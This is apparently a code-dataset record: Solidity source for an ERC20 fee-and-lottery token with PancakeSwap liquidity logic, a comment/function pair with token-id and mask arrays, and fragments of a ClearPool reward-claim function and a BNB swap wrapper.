return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 18;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface Lottery {
//A lottery contract keeps track of who is eligible, so
//this must be called on each lottery contract when a user's balance
//is updated
function addressBalancesUpdated(
address user1,
uint256 balance1,
address user2,
uint256 balance2) external;
}
pragma solidity 0.7.3;
// SPDX-License-Identifier: Unlicensed
contract XXXToken is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public _burnPool = 0x0000000000000000000000000000000000000000;
uint256 private minTokensBeforeSwap;
uint256 internal _totalSupply;
bool inSwapAndLiquify;
uint256 swapAndLiquifyBlockNumber;
bool swapAndLiquifyEnabled;
bool feesEnabled;
address private teamAllocationWalletA = 0x0000000000000000000000000000000000000000;
address private teamAllocationWalletB = 0x0000000000000000000000000000000000000000;
address private teamAllocationWalletC = 0x0000000000000000000000000000000000000000;
address private teamAllocationWalletD = 0x0000000000000000000000000000000000000000;
address private teamMasterWallet = 0x0000000000000000000000000000000000000000;
address private teamOperationsWallet = 0x0000000000000000000000000000000000000000;
address private teamFeesWalletA = 0x0000000000000000000000000000000000000000;
address private teamFeesWalletB = 0x0000000000000000000000000000000000000000;
address private teamFeesWalletC = 0x0000000000000000000000000000000000000000;
address private teamFeesWalletD = 0x0000000000000000000000000000000000000000;
address private teamOperationsFeesWallet = 0x0000000000000000000000000000000000000000;
address private presaleDeployerWallet = 0x0000000000000000000000000000000000000000;
//Lock wallets A to D for 21 days from transferring
mapping(address => bool) public lockedWallets;
//Set to 21 days after deploy
uint256 public lockedWalletsUnlockTime;
Lottery public lotteryContractA;
Lottery public lotteryContractB;
//If this is set to true, the lotteryContractA cannot be changed anymore.
bool public lotteryContractALocked;
//If this is set to true, the lotteryContractB cannot be changed anymore.
bool public lotteryContractBLocked;
uint256 private teamFeesA = 75; //Fees are in 100ths of a percent. 0.75%
uint256 private teamFeesB = 75;
uint256 private teamFeesC = 75;
uint256 private teamFeesD = 25;
uint256 private teamOperationsFees = 50;
uint256 private lotteryContractAFee = 250;
uint256 private lotteryContractBFee = 250;
uint256 private liquidityFee = 100;
uint256 private burnRate = 100;
event LotteryContractAUpdated(address addr);
event LotteryContractBUpdated(address addr);
event LotteryContractALocked(address addr);
event LotteryContractBLocked(address addr);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event FeesEnabledUpdated(bool enabled);
event SwapTokensFailed(
uint256 tokensSwapped
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor(
IUniswapV2Router02 _uniswapV2Router,
uint256 _minTokensBeforeSwap,
bool _feesEnabled
) ERC20("XXX", "$XXX") {
//Initial token count is 77,777,777
uint256 teamAllocationWalletATokens = 1555555.54 ether;
uint256 teamAllocationWalletBTokens = 1555555.54 ether;
uint256 teamAllocationWalletCTokens = 1555555.54 ether;
uint256 teamAllocationWalletDTokens = 388888.885 ether;
uint256 teamMasterWalletTokens = 45111110.66 ether;
uint256 teamOperationsTokens = 2722222.195 ether;
uint256 presaleDeployerTokens = 24888888.64 ether;
_mint(teamAllocationWalletA, teamAllocationWalletATokens);
_mint(teamAllocationWalletB, teamAllocationWalletBTokens);
_mint(teamAllocationWalletC, teamAllocationWalletCTokens);
_mint(teamAllocationWalletD, teamAllocationWalletDTokens);
_mint(teamMasterWallet, teamMasterWalletTokens);
_mint(teamOperationsWallet, teamOperationsTokens);
_mint(presaleDeployerWallet, presaleDeployerTokens);
//Lock team allocation wallets for 21 days
lockedWalletsUnlockTime = block.timestamp.add(1814400);
lockedWallets[teamAllocationWalletA] = true;
lockedWallets[teamAllocationWalletB] = true;
lockedWallets[teamAllocationWalletC] = true;
lockedWallets[teamAllocationWalletD] = true;
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
updateMinTokensBeforeSwap(_minTokensBeforeSwap);
if(_feesEnabled) {
setFeesEnabled();
}
}
//Stores the fees for a transfer, including the total fees
struct Fees
{
uint256 teamFeesATokens;
uint256 teamFeesBTokens;
uint256 teamFeesCTokens;
uint256 teamFeesDTokens;
uint256 teamOperationsFeesTokens;
uint256 lotteryContractATokens;
uint256 lotteryContractBTokens;
uint256 liquidityTokens;
uint256 burnTokens;
uint256 totalFees;
}
function setLotteryContractA(
address addr,
bool locked
) external onlyOwner {
//Cannot update if already locked
require(!lotteryContractALocked);
lotteryContractA = Lottery(addr);
lotteryContractALocked = locked;
emit LotteryContractAUpdated(addr);
if(locked) {
emit LotteryContractALocked(addr);
}
}
function lockLotteryContractA()
external onlyOwner {
//Cannot lock if already locked
require(!lotteryContractALocked);
//Cannot lock if no lottery set
require(address(lotteryContractA) != address(0x0));
lotteryContractALocked = true;
emit LotteryContractALocked(address(lotteryContractA));
}
function setLotteryContractB(
address addr,
bool locked
) external onlyOwner {
//Cannot update if already locked
require(!lotteryContractBLocked);
require(address(lotteryContractB) == address(0x0));
lotteryContractB = Lottery(addr);
lotteryContractBLocked = locked;
emit LotteryContractBUpdated(addr);
if(locked) {
emit LotteryContractBLocked(addr);
}
}
function lockLotteryContractB()
external onlyOwner {
//Cannot lock if already locked
require(!lotteryContractBLocked);
//Cannot lock if no lottery set
require(address(lotteryContractB) != address(0x0));
lotteryContractBLocked = true;
emit LotteryContractBLocked(address(lotteryContractB));
}
//Generates a Fee struct for a given amount that is transferred
//If a lottery contract is not set, there will be no fees for that (ie, those tokens are not burned)
function getFees(
uint256 amount
) private view returns (Fees memory) {
Fees memory fees;
uint totalFees = 0;
//Calculate tokens to payout to address and contracts
fees.teamFeesATokens = amount.mul(teamFeesA).div(10000);
totalFees = totalFees.add(fees.teamFeesATokens);
fees.teamFeesBTokens = amount.mul(teamFeesB).div(10000);
totalFees = totalFees.add(fees.teamFeesBTokens);
fees.teamFeesCTokens = amount.mul(teamFeesC).div(10000);
totalFees = totalFees.add(fees.teamFeesCTokens);
fees.teamFeesDTokens = amount.mul(teamFeesD).div(10000);
totalFees = totalFees.add(fees.teamFeesDTokens);
fees.teamOperationsFeesTokens = amount.mul(teamOperationsFees).div(10000);
totalFees = totalFees.add(fees.teamOperationsFeesTokens);
if(address(lotteryContractA) != address(0x0)) {
fees.lotteryContractATokens = amount.mul(lotteryContractAFee).div(10000);
totalFees = totalFees.add(fees.lotteryContractATokens);
}
if(address(lotteryContractB) != address(0x0)) {
fees.lotteryContractBTokens = amount.mul(lotteryContractBFee).div(10000);
totalFees = totalFees.add(fees.lotteryContractBTokens);
}
fees.liquidityTokens = amount.mul(liquidityFee).div(10000);
totalFees = totalFees.add(fees.liquidityTokens);
fees.burnTokens = amount.mul(burnRate).div(10000);
totalFees = totalFees.add(fees.burnTokens);
fees.totalFees = totalFees;
return fees;
}
//Pays out the fees from the address specified by from
function _payoutFees(
address from,
Fees memory fees
) private {
super._transfer(from, teamFeesWalletA, fees.teamFeesATokens);
super._transfer(from, teamFeesWalletB, fees.teamFeesBTokens);
super._transfer(from, teamFeesWalletC, fees.teamFeesCTokens);
super._transfer(from, teamFeesWalletD, fees.teamFeesDTokens);
super._transfer(from, teamOperationsFeesWallet, fees.teamOperationsFeesTokens);
//Will be 0 if contract not set
if(fees.lotteryContractATokens > 0) {
super._transfer(from, address(lotteryContractA), fees.lotteryContractATokens);
}
//Will be 0 if contract not set
if(fees.lotteryContractBTokens > 0) {
super._transfer(from, address(lotteryContractB), fees.lotteryContractBTokens);
}
//1% burn rate
_burn(from, fees.burnTokens);
//The liquidity fee is sent to the contract. Future calls to transfer will add liquidity once it is >= minTokensBeforeSwap
super._transfer(from, address(this), fees.liquidityTokens);
}
//Overrides the superclass implementation to handle custom logic
//such as taking fees, burning tokens, and supplying liquidity to PancakeSwap
function _transfer(
address from,
address to,
uint256 amount
) internal override {
//If wallet is locked then...
if(lockedWallets[from]) {
//check that enough time has passed to allow transfers
require(block.timestamp >= lockedWalletsUnlockTime);
}
//The team master wallet's tokens are locked forever
require(from != teamMasterWallet);
//Owner is not taxed
if (from == owner() || to == owner()) {
super._transfer(from, to, amount);
} else {
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= (minTokensBeforeSwap.mul(10 ** decimals()));
//Only swap and liquify if >= min balance set to do so,
//and have not already swapped this blcok,
//and the sender isn't a uniswap pair or lottery contract,
//and fees are enabled
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
block.number > swapAndLiquifyBlockNumber &&
msg.sender != uniswapV2Pair &&
msg.sender != address(lotteryContractA) &&
msg.sender != address(lotteryContractB) &&
feesEnabled
) {
swapAndLiquify(contractTokenBalance);
}
//Fees must be enabled, and don't take fees when the contract is swapping tokens to add liquidity
if(feesEnabled && !inSwapAndLiquify) {
Fees memory fees = getFees(amount);
amount = amount.sub(fees.totalFees);
_payoutFees(from, fees);
}
//Perform the regular transfer to "to" parameter, finally
super._transfer(from, to, amount);
uint256 toBalance = balanceOf(to);
uint256 fromBalance = balanceOf(from);
//Call functions in the lottery contracts to tell them balances updated,
//so they can keep track of eligible users
_updateLotteryAddressBalances(lotteryContractA, to, toBalance, from, fromBalance);
_updateLotteryAddressBalances(lotteryContractB, to, toBalance, from, fromBalance);
}
}
//Calls addressBalancesUpdated for the given lottery, if it has been set
//It makes sure that it doesn't pass in the PancakeSwap router address, pair
//or lottery itself
//because they are not eligible to win the lottery
function _updateLotteryAddressBalances(
Lottery lottery,
address user1,
uint256 balance1,
address user2,
uint256 balance2) private {
if(address(lottery) == address(0x0)) {
return;
}
//Don't allow router, pair, or the lottery itself to participate in the lottery
if(user1 == address(uniswapV2Router) || user1 == address(uniswapV2Pair) || user1 == address(lottery)) {
user1 = address(0x0);
}
if(user2 == address(uniswapV2Router) || user2 == address(uniswapV2Pair) || user2 == address(lottery)) {
user2 = address(0x0);
}
lottery.addressBalancesUpdated(
user1, balance1,
user2, balance2);
}
function swapAndLiquify(uint256 contractTokenBalance)
private lockTheSwap {
swapAndLiquifyBlockNumber = block.number;
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
if(swapTokensForEth(half)) {
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
else {
emit SwapTokensFailed(half);
}
}
function swapTokensForEth(uint256 tokenAmount)
private returns (bool) {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
//If for whatever reason the swap cannot be made, return false without
//failing the whole transaction
try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
) {
return true;
} catch( bytes memory) {
return false;
}
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount)
private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
receive() external payable {}
function updateMinTokensBeforeSwap(uint256 _minTokensBeforeSwap)
public onlyOwner {
minTokensBeforeSwap = _minTokensBeforeSwap;
emit MinTokensBeforeSwapUpdated(_minTokensBeforeSwap);
}
//Fees can only be turned on. Once they are on, they cannot be turned off
function setFeesEnabled()
public onlyOwner {
require(!feesEnabled);
feesEnabled = true;
emit FeesEnabledUpdated(true);
}
} | Pays out the fees from the address specified by fromWill be 0 if contract not setWill be 0 if contract not set | function _payoutFees(
address from,
Fees memory fees
) private {
super._transfer(from, teamFeesWalletA, fees.teamFeesATokens);
super._transfer(from, teamFeesWalletB, fees.teamFeesBTokens);
super._transfer(from, teamFeesWalletC, fees.teamFeesCTokens);
super._transfer(from, teamFeesWalletD, fees.teamFeesDTokens);
super._transfer(from, teamOperationsFeesWallet, fees.teamOperationsFeesTokens);
if(fees.lotteryContractATokens > 0) {
super._transfer(from, address(lotteryContractA), fees.lotteryContractATokens);
}
if(fees.lotteryContractBTokens > 0) {
super._transfer(from, address(lotteryContractB), fees.lotteryContractBTokens);
}
}
| 5,352,625 | [
1,
26744,
596,
326,
1656,
281,
628,
326,
1758,
1269,
635,
628,
13670,
506,
374,
309,
6835,
486,
444,
13670,
506,
374,
309,
6835,
486,
444,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
84,
2012,
2954,
281,
12,
203,
3639,
1758,
628,
16,
203,
3639,
5782,
281,
3778,
1656,
281,
203,
565,
262,
3238,
288,
203,
5411,
2240,
6315,
13866,
12,
2080,
16,
5927,
2954,
281,
16936,
37,
16,
1656,
281,
18,
10035,
2954,
281,
789,
3573,
1769,
203,
5411,
2240,
6315,
13866,
12,
2080,
16,
5927,
2954,
281,
16936,
38,
16,
1656,
281,
18,
10035,
2954,
281,
38,
5157,
1769,
203,
5411,
2240,
6315,
13866,
12,
2080,
16,
5927,
2954,
281,
16936,
39,
16,
1656,
281,
18,
10035,
2954,
281,
1268,
3573,
1769,
203,
5411,
2240,
6315,
13866,
12,
2080,
16,
5927,
2954,
281,
16936,
40,
16,
1656,
281,
18,
10035,
2954,
281,
40,
5157,
1769,
203,
5411,
2240,
6315,
13866,
12,
2080,
16,
5927,
9343,
2954,
281,
16936,
16,
1656,
281,
18,
10035,
9343,
2954,
281,
5157,
1769,
203,
203,
5411,
309,
12,
3030,
281,
18,
23372,
387,
93,
8924,
789,
3573,
405,
374,
13,
288,
203,
7734,
2240,
6315,
13866,
12,
2080,
16,
1758,
12,
23372,
387,
93,
8924,
37,
3631,
1656,
281,
18,
23372,
387,
93,
8924,
789,
3573,
1769,
203,
5411,
289,
203,
203,
5411,
309,
12,
3030,
281,
18,
23372,
387,
93,
8924,
38,
5157,
405,
374,
13,
288,
203,
7734,
2240,
6315,
13866,
12,
2080,
16,
1758,
12,
23372,
387,
93,
8924,
38,
3631,
1656,
281,
18,
23372,
387,
93,
8924,
38,
5157,
1769,
203,
5411,
289,
203,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xfd8b36E3A3206cfFAB7f1EF055643AF8d199725B/sources/ClearPoolStrategy.sol | * @notice Claims rewards from the liquidity pool/ Forward funds to the authorized sender | function claimRewards () external override onlyOwnerOrOperator ifInitialized nonReentrant {
uint256 claimableRewards = IClearPoolBase(poolAddress).withdrawableRewardOf(address(this));
require(claimableRewards > 0, "No rewards to claim");
IClearPoolFactory factory = IClearPoolBase(poolAddress).factory();
uint256 previousBalance = factory.cpool().balanceOf(address(this));
address[] memory poolsList = new address[](1);
poolsList[0] = poolAddress;
factory.withdrawReward(poolsList);
uint256 newBalance = factory.cpool().balanceOf(address(this));
require(newBalance > previousBalance && newBalance == previousBalance + claimableRewards, "Balance verification failed");
require(factory.cpool().transfer(msg.sender, newBalance), "Rewards transfer failed");
}
| 15,552,543 | [
1,
15925,
283,
6397,
628,
326,
4501,
372,
24237,
2845,
19,
17206,
284,
19156,
358,
326,
10799,
5793,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7516,
17631,
14727,
1832,
3903,
3849,
1338,
5541,
1162,
5592,
309,
11459,
1661,
426,
8230,
970,
288,
203,
3639,
2254,
5034,
7516,
429,
17631,
14727,
273,
467,
9094,
2864,
2171,
12,
6011,
1887,
2934,
1918,
9446,
429,
17631,
1060,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
2583,
12,
14784,
429,
17631,
14727,
405,
374,
16,
315,
2279,
283,
6397,
358,
7516,
8863,
203,
203,
3639,
467,
9094,
2864,
1733,
3272,
273,
467,
9094,
2864,
2171,
12,
6011,
1887,
2934,
6848,
5621,
203,
203,
3639,
2254,
5034,
2416,
13937,
273,
3272,
18,
4057,
1371,
7675,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
1758,
8526,
3778,
16000,
682,
273,
394,
1758,
8526,
12,
21,
1769,
203,
3639,
16000,
682,
63,
20,
65,
273,
2845,
1887,
31,
203,
3639,
3272,
18,
1918,
9446,
17631,
1060,
12,
6011,
21576,
1769,
203,
203,
3639,
2254,
5034,
394,
13937,
273,
3272,
18,
4057,
1371,
7675,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
2583,
12,
2704,
13937,
405,
2416,
13937,
597,
394,
13937,
422,
2416,
13937,
397,
7516,
429,
17631,
14727,
16,
315,
13937,
11805,
2535,
8863,
203,
203,
3639,
2583,
12,
6848,
18,
4057,
1371,
7675,
13866,
12,
3576,
18,
15330,
16,
394,
13937,
3631,
315,
17631,
14727,
7412,
2535,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/56/0xFe925F55dC810eFe505124698A30c356fd8d06bB/sources/ZethyrPancakeSwap.sol | * Action::swapBNBForExactTokens/------------------------- declare ------------------------------------*/------------------------- validate -----------------------------------*/------------------------- handle -------------------------------------*/ | function swapBNBForExactTokens(uint amountOut, address[] calldata path, address to)
external
payable
returns (uint[] memory amounts)
{
amounts = cPSwapRouter.getAmountsIn(amountOut, path);
require(path[0] == WBNB, 'ZPancakeSwap: INVALID_PATH');
require(amounts[0] <= msg.value, 'ZPancakeSwap::06:00');
require(amountOut > 0, 'ZPancakeSwap::06:01');
require(msg.value > 0, 'ZPancakeSwap::06:02');
require(path.length == 2, 'ZPancakeSwap::06:03');
require(path[0] != address(0) && path[1] != address(0), 'ZPancakeSwap::06:04');
require(path[0] != to && path[1] != to, 'ZPancakeSwap::06:05');
uint256 _payback = SafeMath.sub(msg.value, amounts[0]);
cPSwapRouter.swapETHForExactTokens.value(amounts[0])(amountOut, path, to, now);
if (_payback > 0) {
address(uint160(msg.sender)).transfer(_payback);
}
cZSwapMemory.createSwapHistory(msg.sender, to, path[0], path[1], msg.value, amountOut, _payback);
| 11,047,544 | [
1,
1803,
2866,
22270,
15388,
38,
1290,
14332,
5157,
19,
1271,
8567,
14196,
19134,
6062,
19,
1271,
8567,
1954,
19134,
413,
19,
1271,
8567,
1640,
19134,
553,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
